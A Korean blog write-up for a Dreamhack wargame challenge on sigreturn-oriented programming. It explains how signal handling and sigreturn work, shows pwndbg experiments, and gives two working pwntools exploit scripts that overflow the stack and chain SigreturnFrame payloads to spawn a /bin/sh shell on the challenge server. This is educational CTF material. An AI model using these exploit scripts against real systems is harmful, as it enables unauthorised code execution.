SROP 개념 정리
void sig_handler(int signum){
printf("sig_handler called.\n");
exit(0);
}
int main(){
signal(SIGALRM,sig_handler);
alarm(5);
~~
이런 코드가 존재할 때, SIGALRM 시그널이 발생하면 커널 모드로 진입하여 sig_handler 함수를 실행한다.
이 때 시그널을 커널 모드에서 처리하고나서 다시 유저 모드로 돌아와 프로세스의 코드를 실행해야 하므로, 유저 모드의 상태를 모두 기억하고 되돌아올 수 있도록 한다.
현재 프로세스가 바뀌는 것을 컨텍스트 스위칭 (Context Switching) 이라고 하는데,
커널모드 - 유저모드 간 context 스위칭이 발생할 때의 상황을 커널에서 기억하고, 커널 코드의 실행을 마치면 기억한 정보를 되돌려 복귀하기 위해 사용하는 시스템 콜이 sigreturn (rax=15)
how to exploit?
레지스터에 복사할 값을 미리 스택에 저장해놓고 sigreturn syscall을 발생시킨다
모든 레지스터를 조작할 수 있는 강력한 exploit 기법이다
SIGRETURN syscall 발생 시 스택 상황에 따른 레지스터 변화 확인
1. pwndbg를 이용해 분석해봤다
main 에필로그에 bp를 걸고
r <<< $(python3 -c "print('A'*0x18+'X'*0x10+'A'*8+'B'*8+'C'*8+'D'*8+'E'*8+'F'*8+'G'*8+'H'*8+'I'*8+'J'*8+'K'*8+'L'*8+'M'*8+'N'*8+'O'*8+'P'*8+'Q'*8+'R'*8+'S'*8+'T'*8+'U'*8+'V'*8+'X'*8+'Y'*8+'Z'*8)")
- command line input으로 입력값 건네줬는데, null byte는 ignore되길래 RET+RAX_VALUE로 일단 'X'*0x10으로 넘겨주고 추후 수정하는 방식으로 진행하였다
pwndbg> set {long}($rsp+0x18) = 0x4004eb
pwndbg> set {long}($rsp+0x30) = 0x4343434343434343
- 이후 c하여 SIGRETURN syscall 이후 레지스터 상태 확인
2. pwntools pause() 사용해 일시정지 후 디버거 attach 해서 분석해보았다
payload = b'A'*0x18 + p64(gadget+4) + p64(0xf)
for ch in range(48,80):
payload += bytes([ch]*8)
pause()
p.send(payload)
p.interactive()
- 파이썬 파일 실행을 일시정지 시켜놓고 새로운 터미널 창에서 실행중인 srop 파일의 PID로 gdb를 붙여줬다
- 이후 c(continue) 하면 gdb창에서 레지스터 상태 분석 가능하다
즉 스택 상황은 : DUMMY 0x28+[r8]+[r9]+[r10]+[r11]+[r12]+[r13]+[r14]+[r15]+[rdi]+[rsi]+[rbp]+[rbx]+[rdx]+DUMMY 8B+[rcx]+[rsp]+[rip]
** 주의할 점 (SigreturnFrame() 안 쓰고 손코딩하려다가 이것들 땜에 뻘짓했음)
- 1.2 방식으로는 rax 레지스터 위치를 파악할 수 없다 => DUMMy 8Byte 자리가 rax임
- rip + 0x16 위치에 p64(0x33)이 들어가야 한다 => amd64 아키텍쳐에서 cs 세그먼트에 들어가야하는 값으로 payload에 포함되어야 함
- rip+0x20 이후로 일정 NULL padding이 필요하다 => payload 뒤에 '\x00'*0x28 정도는 더 붙여야 되더라..
3. pwntools에서 제공하는 SigreturnFrame() 사용
from pwn import *
context(arch="amd64", os="linux")
frame = SigreturnFrame()
frame.r8 = 0x41414141;frame.r9 = 0x42424242;frame.r10 = 0x43434343;frame.r11 = 0x44444444;frame.r12 = 0x45454545
frame.r13 = 0x46464646;frame.r14 = 0x47474747;frame.r15 = 0x48484848;frame.rdi = 0x49494949;frame.rsi = 0x4a4a4a4a
frame.rbp = 0x4b4b4b4b;frame.rbx = 0x4c4c4c4c;frame.rdx = 0x4d4d4d4d;frame.rax = 0x4e4e4e4e;frame.rcx = 0x4f4f4f4f
frame.rsp = 0x50505050;frame.rip = 0x51515151
print(bytes(frame))
'\x00'*0x28 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + rdi + rsi + rbp + rbx + rdx + rax + rcx + rsp + rip + '\x00'*0x8 + cs (0x33) + '\x00'*0x38 이렇게 구성이 되어있네
Exploit 계획
- Partial RELRO No canary found NX enabled No PIE
- 코드 엄청 간단해서 그런지 plt/got table 에 read함수밖에 없음 / libc_base 못 구함
- ROP, read@plt를 이용해 writable 영역에 "/bin/sh" 입력하고,
- SIGRETURN을 이용해 execve syscall을 진행하면 되겠다
syscall이 이루어지는 gadget 코드는 아래와 같다
pwndbg> disas gadget
Dump of assembler code for function gadget:
0x00000000004004e7 <+0>: push rbp
0x00000000004004e8 <+1>: mov rbp,rsp
0x00000000004004eb <+4>: pop rax
0x00000000004004ec <+5>: syscall
~~~
pop rdx 가젯이 없어서 걱정했는데 main 함수 내부에서 rdx 충분히 크게 세팅해준다 (출제자의 배려..?)
► 0x4004fe <main+12> mov edx, 0x400
0x400503 <main+17> mov rsi, rax
0x400506 <main+20> mov edi, 0
0x40050b <main+25> call read@plt <read@plt>
SROP를 이용한 execve("/bin/sh", 0, 0) syscall은 아래와 같이 이루어지겠지
rip = gadget+5, rax=0x3b , rdi = bss영역 , rsi = 0 , rdx = 0
Exploit 코드
from pwn import *
# p = process("./srop")
p = remote("host3.dreamhack.games", 17184)
gadget = 0x4004e7
prdi_r = 0x400583
prsi_pr15_r = 0x400581
read_plt = 0x4003f0
writable_area = 0x601100
# read(0, writable_area, 0x400)
payload = b'A'*0x18 + p64(prdi_r) + p64(0) + p64(prsi_pr15_r) + p64(writable_area) + p64(0) + p64(read_plt)
# pop rax; syscall; (SIGRETURN)
payload += p64(gadget+4) + p64(0xf)
# return to gadget+5, execve("/bin/sh", 0, 0)
payload += b'A'*0x68 + p64(writable_area) + p64(0) + b'A'*0x10 + p64(0) + p64(0x3b) + b'A'*0x10 + p64(gadget+5) + b'A'*8 + p64(0x33) + b'\x00'*0x28
p.send(payload)
p.send('/bin/sh\x00')
p.interactive()
직접 짜려면... 각 레지스터의 offset + cs 세그먼트 값 + Dummy bytes까지 고려해야돼서 복잡...
context(os="linux", arch="amd64")
frame = SigreturnFrame()
frame.rdi = writable_area
frame.rip = gadget+5
frame.rax= 0x3b
payload += bytes(frame)
이런 식으로 SigreturnFrame() 이용해 코드 짜도 된다
Exploit 코드 - 2 (read@plt 사용 안하고)
from pwn import *
context(os="linux", arch="amd64")
# p = process("./srop")
p = remote("host3.dreamhack.games", 17184)\
gadget = 0x4004e7
writable_area = 0x601000
# SIGRETURN 후 read(0, writable_area, 0x1000)
pay1 = b'A'*0x18
pay1 += p64(gadget+4) + p64(0xf)
frame = SigreturnFrame()
frame.rax = 0 # sys_read
frame.rip = gadget+4 # ret to pop rax; syscall;
frame.rsp = writable_area # stack pointer to pay2
frame.rdi = 0
frame.rsi = writable_area
frame.rdx = 0x1000
pay1 += bytes(frame)
p.send(pay1)
# SIGRETURN 후 execve("/bin/sh", 0, 0)
pay2 = p64(0xf)
frame2 = SigreturnFrame()
frame.rax = 0x3b # sys_execve
frame.rip = gadget+5 # ret 2 syscall
frame.rdi = writable_area+0x8+0xf8 # "/bin/sh" offset
frame.rsi = 0
frame.rdx = 0
pay2 += bytes(frame)
pay2 += b"/bin/sh\x00"
p.send(pay2)
p.interactive()
- SROP만 사용한 코드, rsp를 pay2가 담길 주소로 옮기는 게 핵심
- SIGRETURN syscall - read syscall - SIGRETURN syscall - execve syscall
오늘의 교훈
닥치고 SigreturnFrame() 사용해라.... 그래도 gdb 사용법이라던지 sigcontext 구조체라던지 공부는 됐다...
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] _IO_FILE Arbitrary Address Read (0) | 2023.06.23 |
---|---|
[Dreamhack Wargame] send_sig (0) | 2023.06.23 |
[Dreamhack Wargame] rtld (0) | 2023.06.22 |
[Dreamhack Wargame] environ (0) | 2023.06.22 |
[Dreamhack Wargame] Overwrite _rtld_global (0) | 2023.06.21 |